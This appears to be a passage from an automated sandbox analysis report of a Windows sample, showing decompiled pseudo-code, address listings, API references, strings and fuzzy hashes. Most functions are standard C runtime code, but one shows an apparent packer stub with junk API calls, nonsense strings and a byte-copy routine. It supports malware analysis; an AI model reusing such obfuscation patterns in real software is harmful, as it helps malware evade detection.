										__eflags =  *((char*)( *((intOrPtr*)(_t674 - 4)))) - 0x30;
										if( *((char*)( *((intOrPtr*)(_t674 - 4)))) == 0x30) {
											goto L187;
										}
										goto L186;
									}
								}
							}
						}
					}
				}
			}

0x0042a365
0x0042a365
0x0042a365
0x0042a365
0x0042a36b
0x0042a36e
0x00000000
0x0042a3ec
0x00000000
0x0042a3ec
0x00000000
0x0042a3ec
0x0042a3ec
0x0042a3f4
0x0042a416
0x0042a416
0x0042a41c
0x0042a43e
0x0042a441
0x0042a488
0x0042a488
0x0042a48b
0x0042a4ac
0x0042a4b1
0x0042a4b4
0x0042a4b6
0x0042a4bc
0x0042a48d
0x0042a491
0x0042a496
0x0042a499
0x0042a49a
0x0042a4a0
0x0042a4a0
0x0042a443
0x0042a446
0x0042a446
0x0042a449
0x0042a46b
0x0042a470
0x0042a476
0x0042a477
0x0042a47d
0x0042a44b
0x0042a44f
0x0042a454
0x0042a458
0x0042a459
0x0042a45f
0x0042a45f
0x0042a483
0x0042a41e
0x0042a422
0x0042a427
0x0042a42a
0x0042a430
0x0042a430
0x0042a3f6
0x0042a3fa
0x0042a3ff
0x0042a402
0x0042a408
0x0042a408
0x0042a4c8
0x0042a50a
0x0042a510
0x0042a51c
0x00000000
0x0042a4ca
0x0042a4ca
0x0042a4ca
0x0042a4d1
0x00000000
0x0042a4de
0x0042a4de
0x0042a4ec
0x0042a4f1
0x0042a4f7
0x0042a505
0x0042a522
0x0042a52a
0x0042a54c
0x0042a54c
0x0042a556
0x0042a567
0x0042a56a
0x0042a571
0x0042a573
0x0042a573
0x0042a558
0x0042a558
0x0042a558
0x0042a586
0x0042a588
0x0042a588
0x0042a595
0x0042a598
0x0042a598
0x0042a59e
0x0042a5a1
0x0042a5a6
0x00000000
0x00000000
0x0042a5b6
0x0042a5b9
0x0042a5c3
0x0042a5d2
0x0042a5db
0x0042a5f1
0x0042a5f7
0x0042a604
0x0042a612
0x0042a612
0x0042a621
0x0042a629
0x0042a629
0x0042a631
0x0042a63a
0x0042a643
0x0042a649
0x0042a64f
0x0042a67a
0x0042a67a
0x0042a67a
0x0042a67e
0x00000000
0x00000000
0x0042a684
0x0042a687
0x0042a68a
0x0042a68f
0x0042a694
0x0042a6ab
0x0042a6ae
0x0042a6c5
0x0042a6c8
0x0042a6cf
0x0042a6d3
0x0042a6d3
0x0042a6b0
0x0042a6b5
0x0042a6b9
0x0042a6b9
0x0042a696
0x0042a69b
0x0042a69f
0x0042a69f
0x0042a694
0x0042a6e3
0x0042a6ec
0x0042a6ef
0x0042a705
0x0042a70a
0x0042a70a
0x0042a720
0x0042a725
0x0042a72b
0x0042a72e
0x0042a733
0x0042a736
0x0042a74c
0x0042a751
0x0042a751
0x0042a736
0x0042a754
0x0042a758
0x0042a812
0x0042a825
0x0042a82a
0x00000000
0x0042a75e
0x0042a75e
0x0042a75e
0x0042a762
0x00000000
0x00000000
0x0042a768
0x0042a76b
0x0042a774
0x0042a77a
0x0042a77a
0x0042a789
0x0042a78f
0x0042a791
0x00000000
0x00000000
0x0042a793
0x0042a796
0x0042a7bb
0x0042a7c0
0x0042a7c3
0x0042a7c9
0x0042a7d0
0x0042a7de
0x0042a7f1
0x0042a7f6
0x0042a805
0x00000000
0x0042a805
0x0042a7d2
0x0042a7d2
0x00000000
0x0042a7d2
0x0042a810
0x0042a82d
0x0042a82d
0x0042a834
0x0042a839
0x0042a83c
0x0042a852
0x0042a857
0x0042a857
0x0042a83c
0x0042a834
0x0042a85a
0x0042a85a
0x0042a85e
0x0042a866
0x0042a86b
0x0042a86e
0x0042a86e
0x0042a875
0x0042a875
0x004299fb
0x00429a02
0x00429a0f
0x00429a12
0x00429a14
0x00000000
0x00000000
0x00429a1a
0x00429a1a
0x00429a21
0x00000000
0x00000000
0x00429a27
0x00429a2e
0x00429a31
0x00429a58
0x00429a58
0x00429a62
0x00429a68
0x00429a74
0x00429a77
0x00429a85
0x00429a88
0x00429a8e
0x00429a95
0x00429b3a
0x00429b40
0x00429b46
0x00429b4d
0x00000000
0x00000000
0x00429b53
0x00429b59
0x00000000
0x00429b60
0x00429b60
0x00429b7a
0x00429b7f
0x00000000
0x00000000
0x00429b87
0x00429b87
0x00429b8e
0x00429b91
0x00429b94
0x00429b97
0x00429b9a
0x00429b9d
0x00429ba0
0x00429ba7
0x00429bae
0x00000000
0x00000000
0x00429bba
0x00429bba
0x00429bc1
0x00429bcd
0x00429bd0
0x00429bd6
0x00429bdd
0x00000000
0x00000000
0x00429bdf
0x00429be5
0x00429be5
0x00429bec
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00429c30
0x00429c30
0x00429c37
0x00429c3a
0x00429c64
0x00429c67
0x00429c67
0x00429c71
0x00429c71
0x00429c75
0x00429c3c
0x00429c3c
0x00429c48
0x00429c4b
0x00429c4f
0x00429c51
0x00429c54
0x00429c54
0x00429c57
0x00429c5a
0x00429c5d
0x00429c5f
0x00429c5f
0x00429c62
0x00429c78
0x00000000
0x00000000
0x00429c7d
0x00429c7d
0x00000000
0x00000000
0x00429c89
0x00429c89
0x00429c90
0x00429c93
0x00429cb3
0x00429cb6
0x00429cb6
0x00429cc0
0x00429cc0
0x00429cc4
0x00429c95
0x00429c95
0x00429ca1
0x00429ca4
0x00429ca8
0x00429caa
0x00429caa
0x00429cb1
0x00000000
0x00000000
0x00429ccc
0x00429ccc
0x00429cd3
0x00429cdf
0x00429ce2
0x00429ce8
0x00429cef
0x00429e02
0x00000000
0x00429e02
0x00429cf5
0x00429cfb
0x00429cfb
0x00429d02
0x00000000
0x00429d39
0x00429d39
0x00429d3c
0x00429d3f
0x00429d42
0x00429d69
0x00429d69
0x00429d6c
0x00429d6f
0x00429d72
0x00429d96
0x00429d96
0x00429d99
0x00429d9c
0x00429d9f
0x00429dd8
0x00429de9
0x00000000
0x00429de9
0x00429da1
0x00429da1
0x00429da4
0x00429da7
0x00429daa
0x00000000
0x00000000
0x00429dac
0x00429dac
0x00429daf
0x00429db2
0x00429db5
0x00000000
0x00000000
0x00429db7
0x00429db7
0x00429dba
0x00429dbd
0x00429dc0
0x00000000
0x00000000
0x00429dc2
0x00429dc2
0x00429dc5
0x00429dc8
0x00429dcb
0x00000000
0x00000000
0x00429dcd
0x00429dcd
0x00429dd0
0x00429dd3
0x00429dd6
0x00429dda
0x00000000
0x00429dda
0x00000000
0x00429dd6
0x00429d74
0x00429d74
0x00429d77
0x00429d7b
0x00429d7e
0x00000000
0x00429d80
0x00429d83
0x00429d86
0x00429d8c
0x00429d91
0x00000000
0x00429d91
0x00429d7e
0x00429d44
0x00429d44
0x00429d47
0x00429d4b
0x00429d4e
0x00000000
0x00429d50
0x00429d53
0x00429d56
0x00429d5c
0x00429d61
0x00000000
0x00429d61
0x00000000
0x00429deb
0x00429deb
0x00429dee
0x00429df1
0x00000000
0x00000000
0x00429d09
0x00429d09
0x00429d0c
0x00429d0f
0x00429d12
0x00429d2b
0x00429d2e
0x00429d2e
0x00429d31
0x00429d14
0x00429d14
0x00429d17
0x00429d1a
0x00429d20
0x00429d26
0x00429d26
0x00000000
0x00000000
0x00429df6
0x00429df6
0x00429df9
0x00429df9
0x00429dff
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00429e07
0x00429e07
0x00429e0e
0x00429e14
0x00429e1a
0x00429e1d
0x00429e23
0x00429e2a
0x0042a67a
0x0042a67a
0x0042a67a
0x0042a67e
0x00000000
0x00000000
0x00000000
0x0042a67e
0x0042a67a
0x00429e30
0x00429e30
0x00429e36
0x00429e36
0x00429e3d
0x00000000
0x0042a1c1
0x0042a1c1
0x0042a1cf
0x0042a1cf
0x0042a1d2
0x00000000
0x00000000
0x00429e44
0x00429e47
0x00429e47
0x00429e4d
0x00429e4f
0x00429e52
0x00429e52
0x00429e55
0x00429e55
0x00000000
0x00000000
0x00429f8a
0x00429f8d
0x00429f8d
0x00429f92
0x00429f94
0x00429f97
0x00429f97
0x00429f9a
0x00429f9a
0x00000000
0x00000000
0x0042a387
0x0042a387
0x00000000
0x00000000
0x00429ef4
0x00429ef4
0x00429f00
0x00429f06
0x00429f0d
0x00429f1b
0x00429f1b
0x00429f21
0x00429f24
0x00429f30
0x00429f85
0x00000000
0x00429f85
0x00429f0f
0x00429f0f
0x00429f15
0x00429f19
0x00429f35
0x00429f38
0x00429f38
0x00429f3e
0x00429f66
0x00429f6d
0x00429f73
0x00429f76
0x00429f79
0x00429f7f
0x00429f82
0x00429f40
0x00429f40
0x00429f46
0x00429f49
0x00429f4c
0x00429f52
0x00429f55
0x00429f58
0x00429f5a
0x00429f5d
0x00429f5d
0x00000000
0x00429f3e
0x00000000
0x00000000
0x0042a1d9
0x0042a1dc
0x0042a1df
0x0042a1e2
0x0042a1e8
0x0042a1eb
0x0042a1f2
0x0042a1f6
0x0042a201
0x0042a201
0x0042a205
0x0042a21c
0x0042a21c
0x0042a223
0x0042a225
0x0042a225
0x0042a22c
0x0042a22c
0x0042a233
0x0042a241
0x0042a244
0x0042a253
0x0042a256
0x0042a25a
0x0042a26f
0x0042a25c
0x0042a25c
0x0042a25f
0x0042a265
0x0042a26a
0x0042a26a
0x0042a25a
0x0042a279
0x0042a27c
0x0042a27f
0x0042a282
0x0042a285
0x0042a288
0x0042a28e
0x0042a294
0x0042a29c
0x0042a29d
0x0042a2a0
0x0042a2a1
0x0042a2a4
0x0042a2a5
0x0042a2ac
0x0042a2ad
0x0042a2b0
0x0042a2b1
0x0042a2b4
0x0042a2b5
0x0042a2bb
0x0042a2bc
0x0042a2c2
0x0042a2c3
0x0042a2c9
0x0042a2cb
0x0042a2d1
0x0042a2d1
0x0042a2d6
0x0042a2d8
0x0042a2dc
0x0042a2de
0x0042a2e1
0x0042a2e6
0x0042a2e7
0x0042a2ea
0x0042a2eb
0x0042a2f1
0x0042a2f2
0x0042a2f8
0x0042a2fa
0x0042a2fa
0x0042a2dc
0x0042a2fd
0x0042a304
0x0042a307
0x0042a30c
0x0042a30c
0x0042a312
0x0042a314
0x0042a31c
0x0042a31d
0x0042a320
0x0042a321
0x0042a326
0x0042a327
0x0042a32d
0x0042a32f
0x0042a32f
0x0042a312
0x0042a332
0x0042a335
0x0042a338
0x0042a33b
0x0042a340
0x0042a345
0x0042a348
0x0042a34b
0x0042a34b
0x0042a34e
0x0042a34e
0x0042a351
0x0042a35d
0x0042a67a
0x0042a67a
0x0042a67a
0x0042a67e
0x00000000
0x00000000
0x00000000
0x0042a67e
0x00000000
0x0042a67a
0x0042a207
0x0042a207
0x0042a20e
0x0042a211
0x00000000
0x00000000
0x0042a213
0x0042a213
0x00000000
0x0042a213
0x0042a1f8
0x0042a1f8
0x00000000
0x00000000
0x00429e58
0x00429e58
0x00429e63
0x00429e6b
0x00429e72
0x00429e75
0x00429e75
0x00429e78
0x00429ed8
0x00429e7a
0x00429e81
0x00429e87
0x00429e8d
0x00429e94
0x00429e97
0x00429e9d
0x00429ea5
0x00429ea7
0x00429eae
0x00429eb5
0x00429ebc
0x00429ec4
0x00429ec6
0x00429ec8
0x00429ec8
0x00429ecf
0x00429edf
0x00429ee5
0x00429ee8
0x0042a67a
0x0042a67a
0x0042a67a
0x0042a67e
0x00000000
0x00000000
0x00000000
0x0042a67e
0x00000000
0x00000000
0x00000000
0x0042a0ca
0x0042a0ca
0x0042a0d6
0x0042a0dc
0x0042a0e1
0x0042a0e3
0x0042a18d
0x0042a18d
0x0042a190
0x0042a190
0x0042a193
0x0042a1a7
0x0042a1ad
0x0042a1b3
0x0042a195
0x0042a195
0x0042a19b
0x0042a1a2
0x0042a1a2
0x0042a1b5
0x0042a67a
0x0042a67a
0x0042a67a
0x0042a67e
0x00000000
0x00000000
0x00000000
0x0042a67e
0x0042a67a
0x0042a0e9
0x0042a0e9
0x0042a0e9
0x0042a0eb
0x0042a0f9
0x0042a0ed
0x0042a0ed
0x0042a0ed
0x0042a103
0x0042a109
0x0042a10f
0x0042a116
0x0042a118
0x0042a11d
0x0042a11f
0x0042a124
0x0042a129
0x0042a12b
0x0042a130
0x0042a133
0x0042a136
0x0042a138
0x0042a138
0x0042a136
0x0042a139
0x0042a140
0x0042a188
0x0042a67a
0x0042a67a
0x0042a67a
0x0042a67e
0x00000000
0x00000000
0x00000000
0x0042a67e
0x0042a142
0x0042a142
0x0042a147
0x0042a163
0x0042a16b
0x0042a175
0x0042a178
0x0042a17d
0x00000000
0x0042a17d
0x00000000
0x0042a3ce
0x0042a3ce
0x0042a3d8
0x0042a3d8
0x0042a3de
0x0042a3e0
0x0042a3e3
0x0042a3e3
0x0042a3e9
0x0042a3e9
0x00000000
0x00000000
0x0042a380
0x0042a380
0x00000000
0x00000000
0x00429f9d
0x00429f9d
0x00429fa1
0x00429faf
0x00429fb2
0x00429fa3
0x00429fa3
0x00429fa3
0x00429fb8
0x00429fbe
0x00429fc4
0x00429fd0
0x00429fd6
0x00429fd6
0x00429fd9
0x0042a061
0x0042a061
0x0042a065
0x0042a067
0x0042a06d
0x0042a06d
0x0042a070
0x0042a077
0x0042a07a
0x0042a080
0x0042a080
0x0042a080
0x0042a086
0x0042a08c
0x0042a08f
0x0042a095
0x0042a097
0x00000000
0x00000000
0x0042a099
0x0042a099
0x0042a09f
0x0042a0a2
0x0042a0a4
0x00000000
0x00000000
0x0042a0a6
0x0042a0ac
0x0042a0af
0x0042a0af
0x0042a0b7
0x0042a0b7
0x0042a0bd
0x0042a0bd
0x0042a0c2
0x00000000
0x00429fdf
0x00429fdf
0x00429fdf
0x00429fe3
0x00429fe5
0x00429fea
0x00429fea
0x00429fed
0x00429ff0
0x00429ff6
0x0042a008
0x0042a008
0x0042a008
0x0042a00b
0x0042a011
0x00000000
0x00000000
0x0042a013
0x0042a013
0x0042a019
0x0042a01c
0x0042a01e
0x00000000
0x00000000
0x0042a020
0x0042a020
0x0042a029
0x0042a02f
0x0042a033
0x0042a03b
0x0042a03d
0x0042a03f
0x0042a045
0x0042a045
0x0042a048
0x0042a048
0x0042a054
0x0042a057
0x00429fff
0x0042a002
0x0042a002
0x0042a005
0x0042a005
0x0042a05f
0x0042a0c5
0x0042a67a
0x0042a67a
0x0042a67a
0x0042a67e
0x00000000
0x00000000
0x00000000
0x0042a67e
0x0042a67a
0x00000000
0x0042a377
0x0042a377
0x00000000
0x00000000
0x0042a393
0x0042a393
0x0042a39d
0x0042a39d
0x0042a3a7
0x0042a3a7
0x0042a3ad
0x0042a3af
0x0042a3b4
0x0042a3be
0x0042a3be
0x0042a3c1
0x0042a3c5
0x0042a3c5
0x00000000
0x00000000
0x0042a67a
0x0042a67a
0x0042a67a
0x0042a67e
0x00000000
0x00000000
0x00000000
0x0042a67e
0x00000000
0x00000000
0x00429c09
0x00429c09
0x00429c0c
0x00429c0f
0x00000000
0x00000000
0x00429c14
0x00429c17
0x00429c1d
0x00000000
0x00000000
0x00429bfe
0x00429c01
0x00429c04
0x00000000
0x00000000
0x00429bf3
0x00429bf6
0x00429bf9
0x00000000
0x00000000
0x00429c22
0x00429c22
0x00429c25
0x00429c25
0x00429c28
0x00000000
0x00000000
0x00429c2b
0x00000000
0x00000000
0x00429a9b
0x00429a9b
0x00429a9b
0x00429a9d
0x00429aab
0x00429a9f
0x00429a9f
0x00429a9f
0x00429abb
0x00429ac1
0x00429ac8
0x00429aca
0x00429acf
0x00429ad1
0x00429ad6
0x00429adb
0x00429add
0x00429ae2
0x00429ae5
0x00429ae8
0x00429aea
0x00429aea
0x00429ae8
0x00429aeb
0x00429aeb
0x00429af2
0x00000000
0x00429af4
0x00429af9
0x00429b15
0x00429b1d
0x00429b2a
0x00429b2f
0x0042a93e
0x0042a941
0x0042a94b
0x0042a94b
0x00429af2
0x00429a95
0x00429a33
0x00429a3a
0x00429a3d
0x00000000
0x00429a3f
0x00429a50
0x00000000
0x00429a50
0x00429a3d
0x0042a87a
0x0042a87a
0x0042a881
0x0042a898
0x0042a898
0x0042a8a2
0x0042a8a2
0x0042a8a8
0x0042a8ae
0x0042a8b5
0x0042a8b7
0x0042a8bc
0x0042a8be
0x0042a8c3
0x0042a8c8
0x0042a8ca
0x0042a8cf
0x0042a8d2
0x0042a8d5
0x0042a8d7
0x0042a8d7
0x0042a8d5
0x0042a8d8
0x0042a8df
0x0042a92a
0x0042a933
0x0042a938
0x0042a8e1
0x0042a8e6
0x0042a902
0x0042a90a
0x0042a917
0x0042a91c
0x0042a91c
0x00000000
0x0042a8df
0x0042a883
0x0042a883
0x0042a88a
0x00000000
0x00000000
0x0042a88c
0x0042a88c
0x00000000
0x0042a88c
0x0042a67a
0x0042a651
0x0042a651
0x0042a655
0x0042a662
0x0042a668
0x0042a66e
0x0042a674
0x0042a674
0x0042a677
0x00000000
0x0042a677
0x0042a657
0x0042a65d
0x0042a660
0x00000000
0x00000000
0x00000000
0x0042a660
0x0042a4d1
0x0042a4c8
0x0042a3ec
0x0042a3ec
0x0042a3ec

APIs

_get_int64_arg.LIBCMTD ref: 0042A3FA
_get_int64_arg.LIBCMTD ref: 0042A422
__aullrem.LIBCMT ref: 0042A5CA
__aulldiv.LIBCMT ref: 0042A5EC
_write_multi_char.LIBCMTD ref: 0042A705
_write_multi_char.LIBCMTD ref: 0042A74C
__mbtowc_l.LIBCMTD ref: 0042A7BB

Strings

("Incorrect format specifier", 0), xrefs: 00429ACA, 00429B10
_woutput_s_l, xrefs: 00429B0B
f:\dd\vctools\crt_bld\self_x86\crt\src\output.c, xrefs: 00429AD6, 00429B06
9, xrefs: 0042A5FD

Memory Dump Source

Source File: 00000001.00000002.279832788.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.279820941.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.279867413.000000000044A000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.279895863.0000000000773000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.279900643.0000000000777000.00000002.00020000.sdmp Download File

Similarity

API ID: _get_int64_arg_write_multi_char$__aulldiv__aullrem__mbtowc_l
String ID: ("Incorrect format specifier", 0)$9$_woutput_s_l$f:\dd\vctools\crt_bld\self_x86\crt\src\output.c
API String ID: 374834154-2408376751
Opcode ID: fda3d3d912fbb6666f1cf1f7fbaabadcd2aa624aaf8da31ff3317d4d1a6270a0
Instruction ID: 22b45207632ef7cc71d34576c16a49aff5a2ea740dfdffc22a3c581ecff9d7fe
Opcode Fuzzy Hash: fda3d3d912fbb6666f1cf1f7fbaabadcd2aa624aaf8da31ff3317d4d1a6270a0
Instruction Fuzzy Hash: 4AF17CB1E002299FDF24DF44DC85BAEB7B1BF84304F54819AE609A7241D7389E95CF1A

Uniqueness

Uniqueness Score: -1.00%

Function 0041A799, Relevance: 31.6, APIs: 16, Strings: 2, Instructions: 115
timefilesynchronizationCOMMON

Download Yara Rule

C-Code - Quality: 44%

			E0041A799(intOrPtr _a4) {
				long _v8;
				void* _v22;
				struct _SYSTEMTIME _v24;
				void* _v38;
				struct _SYSTEMTIME _v40;
				void* _v56;
				struct _COMMTIMEOUTS _v60;
				struct _COMM_CONFIG _v112;
				struct _DCB _v140;
				struct _OSVERSIONINFOEXA _v296;
				struct _TIME_ZONE_INFORMATION _v468;
				struct _OSVERSIONINFOEXW _v752;
				char _v2800;
				intOrPtr _t27;
				intOrPtr _t29;
				void* _t60;

				if( *0x773824 == 0x37) {
					_v60.ReadIntervalTimeout = 0;
					asm("stosd");
					asm("stosd");
					asm("stosd");
					asm("stosd");
					BuildCommDCBAndTimeoutsW(L"rubuwe",  &_v140,  &_v60);
					_v112.dwSize = 0;
					E00421980( &(_v112.wVersion), 0, 0x30);
					CommConfigDialogA("wirafafutilupacukucedunajucoluzepuhofosakure", 0,  &_v112);
					GetNamedPipeHandleStateA(0, 0, 0, 0, 0, 0, 0);
					ReleaseMutex(0);
					FindAtomW(0);
					_v24.wYear = 0;
					asm("stosd");
					asm("stosd");
					asm("stosd");
					asm("stosw");
					_v40.wYear = 0;
					asm("stosd");
					asm("stosd");
					asm("stosd");
					asm("stosw");
					SystemTimeToTzSpecificLocalTime( &_v468,  &_v24,  &_v40);
					GetConsoleCursorInfo(0, 0);
					VerifyVersionInfoW( &_v752, 0, 0);
					TlsSetValue(0, 0);
					CopyFileA(0, 0, 0);
					__imp__GetLongPathNameW(0,  &_v2800, 0, 0, _t60);
					__imp__SetVolumeMountPointA(0, 0);
					GetProcessPriorityBoost(0, 0);
					FreeEnvironmentStringsW(0);
					_push(0);
					VerifyVersionInfoA( &_v296, 0, 0);
				}
				_v8 = 0;
				_t27 =  *0x773828; // 0x3f8c4a
				_v8 = _v8 + _t27;
				_v8 = _v8 + 0x12336;
				_t29 = _a4;
				 *((char*)( *0x76fe24 + _t29)) =  *((intOrPtr*)(_v8 + _t29));
				return _t29;
			}

0x0041a7ac
0x0041a7b5
0x0041a7bb
0x0041a7bc
0x0041a7bd
0x0041a7be
0x0041a7cf
0x0041a7dc
0x0041a7df
0x0041a7f1
0x0041a7fe
0x0041a805
0x0041a80c
0x0041a814
0x0041a81b
0x0041a81c
0x0041a81d
0x0041a81e
0x0041a822
0x0041a829
0x0041a82a
0x0041a82b
0x0041a82c
0x0041a83d
0x0041a845
0x0041a855
0x0041a85d
0x0041a866
0x0041a875
0x0041a87d
0x0041a885
0x0041a88c
0x0041a892
0x0041a89c
0x0041a8a2
0x0041a8a3
0x0041a8a6
0x0041a8ab
0x0041a8b3
0x0041a8b6
0x0041a8c5
0x0041a8ca

APIs

BuildCommDCBAndTimeoutsW.KERNEL32 ref: 0041A7CF
_memset.LIBCMT ref: 0041A7DF
CommConfigDialogA.KERNEL32(wirafafutilupacukucedunajucoluzepuhofosakure,00000000,?), ref: 0041A7F1
GetNamedPipeHandleStateA.KERNEL32 ref: 0041A7FE
ReleaseMutex.KERNEL32(00000000), ref: 0041A805
FindAtomW.KERNEL32(00000000), ref: 0041A80C
SystemTimeToTzSpecificLocalTime.KERNEL32(?,?,?), ref: 0041A83D
GetConsoleCursorInfo.KERNEL32(00000000,00000000), ref: 0041A845
VerifyVersionInfoW.KERNEL32(?,00000000,00000000,00000000), ref: 0041A855
TlsSetValue.KERNEL32(00000000,00000000), ref: 0041A85D
CopyFileA.KERNEL32(00000000,00000000,00000000), ref: 0041A866
GetLongPathNameW.KERNEL32(00000000,?,00000000), ref: 0041A875
SetVolumeMountPointA.KERNEL32(00000000,00000000), ref: 0041A87D
GetProcessPriorityBoost.KERNEL32(00000000,00000000), ref: 0041A885
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 0041A88C
VerifyVersionInfoA.KERNEL32(?,00000000,00000000,00000000), ref: 0041A89C

Strings

wirafafutilupacukucedunajucoluzepuhofosakure, xrefs: 0041A7EC
rubuwe, xrefs: 0041A7CA

Memory Dump Source

Source File: 00000001.00000002.279832788.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.279820941.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.279867413.000000000044A000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.279895863.0000000000773000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.279900643.0000000000777000.00000002.00020000.sdmp Download File

Similarity

API ID: Info$CommTimeVerifyVersion$AtomBoostBuildConfigConsoleCopyCursorDialogEnvironmentFileFindFreeHandleLocalLongMountMutexNameNamedPathPipePointPriorityProcessReleaseSpecificStateStringsSystemTimeoutsValueVolume_memset
String ID: rubuwe$wirafafutilupacukucedunajucoluzepuhofosakure
API String ID: 413279236-202140613
Opcode ID: 5a2c59d5f1898c8bb04b71fa0c249a12153c1278f00dc2f8df238da9756dfbe3
Instruction ID: b6bac45641c477b218a4301af2c8bbbdcf57021dc0fe9312d6e97c2a1f34e195
Opcode Fuzzy Hash: 5a2c59d5f1898c8bb04b71fa0c249a12153c1278f00dc2f8df238da9756dfbe3
Instruction Fuzzy Hash: 1B31FF72802568BFD711DBE4DE48DDFBBBCEF0E350B004066F645E2520D6345A85CBAA

Uniqueness

Uniqueness Score: -1.00%

Function 00422775, Relevance: 30.0, APIs: 6, Strings: 11, Instructions: 264memoryCOMMON

Download Yara Rule

APIs

_CheckBytes.LIBCMTD ref: 00422789
__CrtIsValidHeapPointer.LIBCMTD ref: 00422815
_CheckBytes.LIBCMTD ref: 004228C0
_CheckBytes.LIBCMTD ref: 0042297A
_memset.LIBCMT ref: 00422A71
__free_base.LIBCMTD ref: 00422A7D

Strings

Client hook free failure., xrefs: 004227EC
HEAP CORRUPTION DETECTED: before %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory before start of heap buffer., xrefs: 00422947
The Block at 0x%p was allocated by aligned routines, use _aligned_free(), xrefs: 00422799
pHead->nLine == IGNORE_LINE && pHead->lRequest == IGNORE_REQ, xrefs: 00422A3A
HEAP CORRUPTION DETECTED: after %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory after end of heap buffer.Memory allocated at %hs(%d)., xrefs: 004229C3
_BLOCK_TYPE_IS_VALID(pHead->nBlockUse), xrefs: 0042287F
f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c, xrefs: 0042282D, 0042288B, 00422A46
HEAP CORRUPTION DETECTED: after %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory after end of heap buffer., xrefs: 00422A01
tDj, xrefs: 004227CB
HEAP CORRUPTION DETECTED: before %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory before start of heap buffer.Memory allocated at %hs(%d)., xrefs: 00422909
_CrtIsValidHeapPointer(pUserData), xrefs: 00422821

Memory Dump Source

Source File: 00000001.00000002.279832788.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.279820941.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.279867413.000000000044A000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.279895863.0000000000773000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.279900643.0000000000777000.00000002.00020000.sdmp Download File

Similarity

API ID: BytesCheck$HeapPointerValid__free_base_memset
String ID: Client hook free failure.$HEAP CORRUPTION DETECTED: after %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory after end of heap buffer.$HEAP CORRUPTION DETECTED: after %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory after end of heap buffer.Memory allocated at %hs(%d).$HEAP CORRUPTION DETECTED: before %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory before start of heap buffer.$HEAP CORRUPTION DETECTED: before %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory before start of heap buffer.Memory allocated at %hs(%d).$The Block at 0x%p was allocated by aligned routines, use _aligned_free()$_BLOCK_TYPE_IS_VALID(pHead->nBlockUse)$_CrtIsValidHeapPointer(pUserData)$f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c$pHead->nLine == IGNORE_LINE && pHead->lRequest == IGNORE_REQ$tDj
API String ID: 25084783-3417358119
Opcode ID: 360f4057cb23bfea5e58d3f36bfebc790c879c814a4bbb6fd78163be04575abb
Instruction ID: 8f12f8931d28a3b1a110581977473ed9b76c45b4bcffdf6b866a44c87fbac30a
Opcode Fuzzy Hash: 360f4057cb23bfea5e58d3f36bfebc790c879c814a4bbb6fd78163be04575abb
Instruction Fuzzy Hash: E591D674B40214BBEB24DB44EE82F6A7365AB48704F74415AF604AB2C2D2F9EE40D79D

Uniqueness

Uniqueness Score: -1.00%

Function 0042A0CA, Relevance: 24.7, APIs: 10, Strings: 4, Instructions: 238
COMMON

Download Yara Rule

C-Code - Quality: 61%

			E0042A0CA(void* __eflags) {
				signed int* _t482;
				signed int _t486;
				void* _t491;
				signed int _t493;
				void* _t501;
				void* _t519;
				signed int _t523;
				void* _t534;
				signed int _t576;
				void* _t598;
				void* _t599;
				signed int _t600;
				void* _t602;
				void* _t603;

				L0:
				while(1) {
					L0:
					_t482 = E00429820(_t600 + 0x14);
					_t603 = _t602 + 4;
					 *(_t600 - 0x484) = _t482;
					if(E004390D0() != 0) {
						goto L115;
					}
					L106:
					__ecx = 0;
					__eflags = 0;
					if(0 == 0) {
						 *(__ebp - 0x4f4) = 0;
					} else {
						 *(__ebp - 0x4f4) = 1;
					}
					__edx =  *(__ebp - 0x4f4);
					 *(__ebp - 0x488) =  *(__ebp - 0x4f4);
					__eflags =  *(__ebp - 0x488);
					if( *(__ebp - 0x488) == 0) {
						_push(L"(\"\'n\' format specifier disabled\", 0)");
						_push(0);
						_push(0x695);
						_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
						_push(2);
						__eax = L00427590();
						__esp = __esp + 0x14;
						__eflags = __eax - 1;
						if(__eax == 1) {
							asm("int3");
						}
					}
					__eflags =  *(__ebp - 0x488);
					if( *(__ebp - 0x488) != 0) {
						L114:
						while(1) {
							L187:
							__eflags =  *(_t600 - 0x28);
							if( *(_t600 - 0x28) != 0) {
								goto L212;
							}
							L188:
							__eflags =  *(_t600 - 0x10) & 0x00000040;
							if(( *(_t600 - 0x10) & 0x00000040) != 0) {
								__eflags =  *(_t600 - 0x10) & 0x00000100;
								if(( *(_t600 - 0x10) & 0x00000100) == 0) {
									__eflags =  *(_t600 - 0x10) & 0x00000001;
									if(( *(_t600 - 0x10) & 0x00000001) == 0) {
										__eflags =  *(_t600 - 0x10) & 0x00000002;
										if(( *(_t600 - 0x10) & 0x00000002) != 0) {
											 *((short*)(_t600 - 0x14)) = 0x20;
											 *(_t600 - 0x1c) = 1;
										}
									} else {
										 *((short*)(_t600 - 0x14)) = 0x2b;
										 *(_t600 - 0x1c) = 1;
									}
								} else {
